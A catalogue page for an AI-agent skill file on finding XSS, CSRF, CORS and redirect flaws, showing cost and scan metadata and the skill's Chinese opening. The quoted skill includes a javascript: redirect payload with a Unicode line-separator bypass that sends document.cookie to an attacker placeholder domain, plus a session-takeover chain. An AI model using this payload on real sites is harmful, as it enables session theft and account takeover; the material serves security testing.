CkSKILLS: Skill for Claude Code

.agents/skills/xss-frontend-security/SKILL.md

xss-frontend-security is a skill for Claude Code, Codex from zhaji2333/CkSKILLS. It costs 191 tokens per session (4,315 once invoked), scanned A, original, MIT.

A security skill for finding web vulnerabilities in user input, browser code, cross-origin settings, and rendered AI or Markdown content. XSS means injected content runs as someone else’s browser code; CSRF tricks a browser into making an unwanted request.

In plain words
What is it for?
Use it to inspect comments, rich text, search results, chat, AI output, Markdown, DOM operations, postMessage, redirects, CORS, clickjacking, and sensitive actions.
Why use it?
It helps uncover ways attackers could run scripts, misuse browser requests, bypass page framing protections, or exploit unsafe redirects and cross-origin rules.

Skill for Claude CodeCodex

Written for no agent in particular: nothing here depends on one. Also seen: installed under .agents/ (shared by several agents).

This is zhaji2333/CkSKILLS's own configuration. It tells Claude Code and Codex how to work on CkSKILLS itself, so it is not a mod to install elsewhere. Copy it as a starting point and replace the rules that are about this project. Everything CkSKILLS configures →

Reuse

Borrowing it

Nothing to install: this file belongs to zhaji2333/CkSKILLS. Take a copy, put it at the same path in your own repository, and replace the rules that are about this project with yours.

Copy the file
curl -O https://raw.githubusercontent.com/zhaji2333/CkSKILLS/main/.agents/skills/xss-frontend-security/SKILL.md
Clone the repo
git clone --depth 1 https://github.com/zhaji2333/CkSKILLS

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for xss-frontend-security

README.md
[![agentmods](https://agentmods.dev/badge/skills/zhaji2333/ckskills/xss-frontend-security/github.svg)](https://agentmods.dev/skills/zhaji2333/ckskills/xss-frontend-security)
Your own site
<a href="https://agentmods.dev/skills/zhaji2333/ckskills/xss-frontend-security"><img src="https://agentmods.dev/badge/skills/zhaji2333/ckskills/xss-frontend-security/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for xss-frontend-security

Your own site · 80×15
<a href="https://agentmods.dev/skills/zhaji2333/ckskills/xss-frontend-security"><img src="https://agentmods.dev/badge/skills/zhaji2333/ckskills/xss-frontend-security.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 191 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 4,315 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 0 findings. A grade says what 26 rules found in the file — not that it is safe. Third-party audits
  • NVIDIA SkillSpector warn 7 Sept 2026
SkillSpector: 2 findings, up to medium

These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →

  • medium Tool Misuse · line 3
    Tool defaults are unsafe or overly permissive (e.g. disabled TLS verification, no authentication, world-writable permissions). Unsafe defaults widen the attack surface.
    Fix: Override unsafe defaults with secure settings (verify=True, auth required, restrictive permissions). Review and harden all tool configurations.
  • medium Tool Misuse · line 3
    Tool defaults are unsafe or overly permissive (e.g. disabled TLS verification, no authentication, world-writable permissions). Unsafe defaults widen the attack surface.
    Fix: Override unsafe defaults with secure settings (verify=True, auth required, restrictive permissions). Review and harden all tool configurations.
How audits are shown
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00191 $0.04315
Opus 5 $0.00096 $0.02158
Sonnet 5 $0.00038 $0.00863
Haiku 4.5 $0.00019 $0.00432

Measured 11d ago against content hash 24f6368ff402, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-10, from the pricing page.

Security

Grade A, and why

xss-frontend-security scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 11d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Nothing flagged

None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.

.agents/skills/xss-frontend-security/SKILL.md · 224 lines

How it starts

The opening of the file, as written. The whole thing — 224 lines — stays where its author put it; the contents beside it link to each section on GitHub.

xss-frontend-security — XSS 与前端安全专项深度挖掘

何时调用(触发条件)

  • 🔴 优先:跳转型 XSS——中间跳转页、登录回跳、SSO 回调、分享/邀请链接、支付回调、扫码登录回跳,任何 target/redirect 类参数驱动的 location 跳转点,第一时间测试(见「三、跳转型 XSS 专项」)
  • 评论、留言、昵称、签名、富文本、私信、工单等存储型输入点
  • AI 对话/分享页:marked/markdown-it 渲染 + innerHTML 无净化、AI 输出原样入库再回显(见「四、AI / Markdown 渲染型存储 XSS 专项」)
  • 搜索框、报错页、参数反射
  • 前端 DOM 操作:location、hash、innerHTML、document.write、eval
  • postMessage 消息处理、iframe 嵌套
  • 跨域配置:Access-Control-Allow-Origin、CORS 预检
  • 敏感操作无 Token/Referer 校验(CSRF)

一、漏洞类型全景

类型 场景 修复
D1. 反射型/存储型XSS 搜索、评论、富文本 输出编码、CSP
D2. DOM XSS location/hash/postMessage 安全DOM API
D3. Clickjacking iframe嵌套 X-Frame-Options
D4. CORS错误配置 *+凭证 严格白名单
D5. 跳转型XSS(优先) target/redirect 参数驱动 location 跳转、伪协议执行 协议+Host 白名单、HttpOnly
D6. AI/Markdown 渲染型存储XSS AI 输出/聊天记录经 marked 渲染写 innerHTML 无净化 DOMPurify 净化、服务端清洗、CSP

二、内容/社交类场景表(存储型重点)

场景 漏洞类型 挖掘要点
评论/留言 存储XSS/CSRF 富文本过滤不严、HTML标签逃逸
私信/聊天 XSS/越权查看聊天记录 消息ID遍历、会话鉴权缺失
用户昵称/签名 存储XSS/SQL注入 特殊字符未过滤、后台展示触发
文章/帖子发布 XSS/SSRF(远程图片) Markdown解析、外链加载
@提及/通知 用户枚举/消息轰炸 @任意用户、批量触发通知
举报/投诉 信息泄露/XSS 举报详情含敏感信息、客服后台触发XSS
分享/邀请链接 链接可遍历/信息泄露 分享token可预测、权限过大

存储型 XSS 的关键:受害者视角(客服后台、管理员预览、其他用户打开)决定危害等级。

三、跳转型 XSS 专项(🔴 优先测试)

3.0 为什么优先

中间跳转页 / 登录回跳信任任意 target 参数 → 开放重定向很常见,但多数测试者测到 http 跳转就停手。升级为 javascript: 伪协议执行 = 官方域同源 XSS,可读 Cookie / 会话接管 / 钓鱼,危害翻数倍。

攻击模型一句话:官方中间页信任任意 target → 伪协议 + Unicode 行分隔符绕过 → 同源 JS 执行 → 读取非 HttpOnly 会话 Cookie → 外带至攻击者服务器 → 会话接管 → 读取订单/地址/个人数据。

完整攻击链(ATT&CK 视角)

  1. 构造恶意链接:https://目标域/中间页?target=javascript://官方域/<U+2028>void(location='https://收票域/?c='+encodeURIComponent(document.cookie))//https://
  2. 诱导已登录用户点击(1-click)
  3. 浏览器在目标官方域下执行 JS → 读取 document.cookie(含 serviceToken 等会话票)
  4. 整页导航到攻击者收票域 → Cookie 拼入 URL 外带
  5. 攻击者在干净浏览器写入 Cookie → 直接访问业务接口 → 接管账号

3.1 入口排查(JS 审计第一步)

  • 正则扫 JS bundle 的 location 赋值点:location.href =location.replace()location.assign()window.open()location.hashwindow.location =
  • 赋值右侧来源:URLSearchParams(location.search).get(...)getQueryStringdecodeURIComponent(...)、路由/状态参数
  • 参数名黑名单:target / redirect / redirect_uri / returnUrl / back / next / url / uri / link / goto / jump / to / callback / service / continue / forward
  • 高发位置:登录回跳、SSO 回调、分享邀请、支付回调、扫码登录、邮件/短信激活链接、跨端中间页(Taro 的 taro-middle、uni-app 的 redirect 页)——跨端逻辑常直接把参数透传给 location
  • 前端框架注意:Vue/React router query、Taro.navigateTo/redirectTo、小程序参数透传

Read the full file on GitHub · 224 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 11d ago First seen · 224 lines · 191 tokens per session scan A 24f6368ff402

Subscribe to this mod's changes

xss-frontend-security is a skill published in the GitHub repository zhaji2333/CkSKILLS (80 stars, last pushed 10d ago), licensed MIT. It adds 191 tokens to every session and 4,315 once invoked, about $0.0010 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.

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